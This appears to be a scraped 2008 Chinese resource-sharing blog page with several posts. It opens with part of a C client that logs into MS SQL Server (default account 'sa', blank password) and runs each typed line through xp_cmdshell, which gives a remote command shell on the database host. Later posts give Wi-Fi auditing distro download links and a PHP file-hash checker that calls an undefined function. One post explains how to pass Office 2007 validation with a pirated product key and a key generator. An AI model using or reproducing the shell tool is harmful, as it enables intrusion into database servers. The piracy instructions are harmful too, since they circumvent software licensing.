fprintf(stderr, "%sfailed to connect to %s!%s\n",FRED,mslogin.host,FNORMAL);
return(1);
    } else printf("%sconnected to host %s as user %s!\nexit with CTRL+C\n%s\n",FGREEN,mslogin.host,mslogin.uid,FNORMAL);

    if(mslogin.database != NULL)
if(dbuse(dbd, mslogin.database) == FAIL) 
   fprintf(stderr, "cannot change to %s\n",mslogin.database);
        else if(verbose) printf("using database %s\n",mslogin.database); 

    if(signal(SIGINT, sig_int) == SIG_ERR) 
fprintf(stderr, "cannot install signalhandler\n");

    i = sql_cmd(dbd);

    dbclose(dbd);
    dbfreebuf(dbd);
    dbexit();
    return(i);
}

int sql_cmd(DBPROCESS *dbd) 
{
    char cmdbuf[MAX_BUFF], buf[MAX_BUFF];

    while(1) {
memset(cmdbuf, 0x00, MAX_BUFF);
printf(PROMPT); fflush(stdout);
if(read(0, cmdbuf, MAX_BUFF)==-1) {
   perror("read");
   return(1);
} else dbfcmd(dbd, "exec master..xp_cmdshell '%s'",cmdbuf);
    if(dbsqlexec(dbd) == FAIL || dbresults(dbd) == FAIL) 
fprintf(stderr, "error while dbsqlexec\n");
    else dbbind(dbd, 1, NTBSTRINGBIND, 0, (BYTE *)&buf);
    
    while(dbnextrow(dbd) != NO_MORE_ROWS) 
printf("%s\n",buf);
    }
    return(0);
}

int set_paranoia(void *addr, size_t nlen, mode_t mask)
{
    if(addr != NULL)
if(mlock(addr, nlen)) return(0);

    if(mask != 0)
umask(mask);

    if(setuid(65534))
return(0);
    return(1);
}

void set_login_defaults(struct mssql_login *login)
{
    memcpy(login->host, DEFAULTHST, MAX_HOST);
    login->uid=DEFAULTUID;
    login->pwd=DEFAULTPWD;
    login->database=NULL;  //Northwind?!
}

static void sig_int(int sig)
{
    printf(FRED);
    printf("\n\n\t EXITING...\n");
    printf(FNORMAL);
    dbexit();
    sleep(1);
&
nbsp;   exit(0);
}

void help(char *usage)
{
    printf("%s <hostname:port> [options]\n",usage);
    printf("-u: username [def:sa]\n");
    printf("-p: password [def:]\n");
    printf("-d: use database\n");
    printf("-h: help\n");
    printf("-v: verbose\n");
}

分类: 资源共享 标签:

Check MD5(md5sum for php)

2008年11月14日 没有评论 95 views

<?php
/******************************************************************
Check MD5(md5sum for php)
2008-11-09
amxku.net

校验文件的准确性.
在网站被入侵后,检查文件的准确性。

*UIX下可以用md5sum * >md5sum 来得到所有文件的md5值,然后把两次得到的
MD5值来进行对比。

在代码检查方面那么有一丁点用处,别的没什么用。
******************************************************************/
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';
echo '<title>Check MD5(md5sum for php)</title>';
check_md5(".");

function check_md5($directory){
    $check_md5_dir = @opendir($directory);
    echo '<ul>';
    while ($file = @readdir($check_md5_dir)) {
    if ($file != "." && $file != "..") {
    if(is_dir("$directory/$file")){
        echo '<li><strong>'.$file.'</strong></li>';
        tree("$directory/$file");
    }else{
        echo '<li>'.$file.' ==> '.md5_file("$directory/$file").'</li>';
    }
    }
    }
    echo '</ul>';
    closedir($check_md5_dir);
}
?>

分类: 资源共享 标签: , ,

视频网站真实地址分析

2008年11月14日 没有评论 755 views

最近挺多朋友问我的一个问题是给我一段网址(一般是youtube)叫我找下载地址给他们,一般这样的我会介绍他们到一个网站(http://keepvid.com/)然后里面有自动分析,下载后只要改下后缀名为flv就好了。当然这个网站还可以分析国外很多视频站的链接,比如google video等,不过这个毕竟是国外站的,只能分析些国外的链接。有些人还喜欢去下土豆,mofile,56之类的视频站资源,那么今天给大家推荐一个国内的软件。

维棠FLV视频下载软件
维棠FLV视频下载软件经过一段时间的开发和完善,具有软件小、使用方便、FLV视频真实地址分析速度快,准确等特点。

功能特性:
1、准确分析FLV视频节目真实地址;
2、支持最多最火热播客视频分享站内容下载;
3、自带维棠FLV视频播放器;
4、支持播客网站播放列表批量下载;
5、支持断点续传;
6、提供简体中文、繁体中文及英文三种语言版本选择;
7、支持注释名命名方式;
8、自带视频格式转换插件,可将FLV格式视频节目转换成WMA格式;
9、提供安装版,绿色版,带转换插件版等多种版本下载
10、增加下载限速功能;
11、提供最火热视频推荐。

更新日志:
1、增加了下载限速功能
2、目录树里增加一项“使用帮助”
3、转换视频的时候,可以选择只要视频或者只要音频
4、转换结束之后,增加一个提示音
5、右边增加一个推荐窗口
6、修正了根据注释命名时使用非法字符的错误
7、增加了更多的支持网站

软件下载

分类: 资源共享 标签:

Wifislax迅雷高速下载

2008年11月12日 没有评论 142 views

来源:Chinadu`s Blog

Acabamos de poner un nuevo mirror en el que podeis descargas las isos mucho mas rapido.

Aun estamos haciendo retoques... asique no estan todas las isos.

Decirme los problemas que podais ir teniendo.

Yo recomiendo descargarla con gestores de descargas Por favor... máximo 4 hilos de descarga...

Bueno ya me contareis aver que tal os funciona.

Wifislax.com
http://download.wifislax.com:8080/wifislax-3.1.iso
http://download.wifislax.com:8080/wifislax-3.1.iso.md5
http://download.wifislax.com:8080/wifislax-small-3.1.iso
http://download.wifislax.com:8080/wifislax-small-3.1.iso.md5
http://download.wifislax.com:8080/wifislax-3.0.iso
http://download.wifislax.com:8080/wifislax-3.0.iso.md5
http://download.wifislax.com:8080/wifislax-1.2-beta.iso
http://download.wifislax.com:8080/wifislax-1.2-beta.iso.md5
 

分类: 资源共享 标签:

WIFI WAY 迅雷高速下载

2008年11月12日 没有评论 156 views

来源:Chinadu`s Blog

Descarga

Imprimir E-Mail

 Wifiway versión 1.0 Beta2

694 megas (MB)

Descarga 1 wifiway-1.0-beta2.iso

The md5 of file wifiway-1.0-beta2.iso is e24ca81486718e546246788ec5834d02

 

Wifiway versión 0.8

421 megas (MB)

Descarga 1 wifiway-0.8.iso

Descarga 2 wifiway-0.8.iso

Descarga 3 wifiway-0.8.iso

The md5 of file wifiway-0.8.iso is 7291c1ffbad23f686ebf9fbf6a001bb6

 

Wifiway versión 0.6

354 megas (MB)

Descarga 1 wifiway-0.6.iso

Descarga 2 wifiway-0.6.iso

Descarga 3 wifiway-0.6.iso

The md5 of file wifiway-0.6.iso is f67c4e933f012221e449e656b5cb876b

 

Wifiway versión 0.4

309 megas (MB)

Descarga 1 wifiway-0.4.iso

Descarga 2 wifiway-0.4.iso

The md5 of file wifiway-0.4.iso is 2ad87b3a6133575b83d8f2e7e0f1f05e

 

Gracias a: Billyboylindien - files.tuto-fr.com

Gracias a: David Faro - iso.comprawifi.com

Gracias a: dxr - download.wifislax.com

分类: 资源共享 标签: ,

Office2007通过正版验证的方法(附算号器下载)

2008年11月11日 没有评论 140 views

微软新一代的办公软件Office2007刚出BETA版本的时候我就试用过,被他全新的界面和强大的功能所吸引,于是正式版一推出我就从网上D了 一个下来用(当然是盗版的),刚开始一直使用正常,可当我昨天想安装那个能直接存储为PDF格式的插件的时候,需要通过正版认证,验证结果是我的 office2007和frontpage 2003 都是盗版,不能享受正版增值服务.难道就没有办法吗?老办法,Google一下。
Office 2007解决办法如下:
1、先要去掉原来的KEY的注册表信息
Microsoft Office 2007 换 号方法:删除注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Registration \{90120000-0051-0000-0000-0000000FF1CE}]键中ProductID和DigitalProductID两项。
2、运行office,弹出安装程序,要求输入key,(文章后面有算号器下)。
Frontpage 2003解决办法如下:
1、同样要去掉原来的KEY的注册表信息
Frontpage 2003 换号方法:删除注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\11.0 \Registration\{90120000-0051-0000-0000-0000000FF1CE}]键中ProductID和 DigitalProductID两项。
2、运行Frontpage 2003,弹出安装程序,要求输入key 我找到了一个可以通过正版验证的KEY:FM9FY-TMF7Q-KCKCT-V9T29-TBBBG
大功告成了,享受一下OFFICE 2007给我们提供的丰厚的增值服务把!

点击下载算号器

分类: 资源共享 标签:

SQL-Helper 1.0 (SQLCancer) + Video

2008年11月11日 1 条评论 141 views
分类: 资源共享 标签: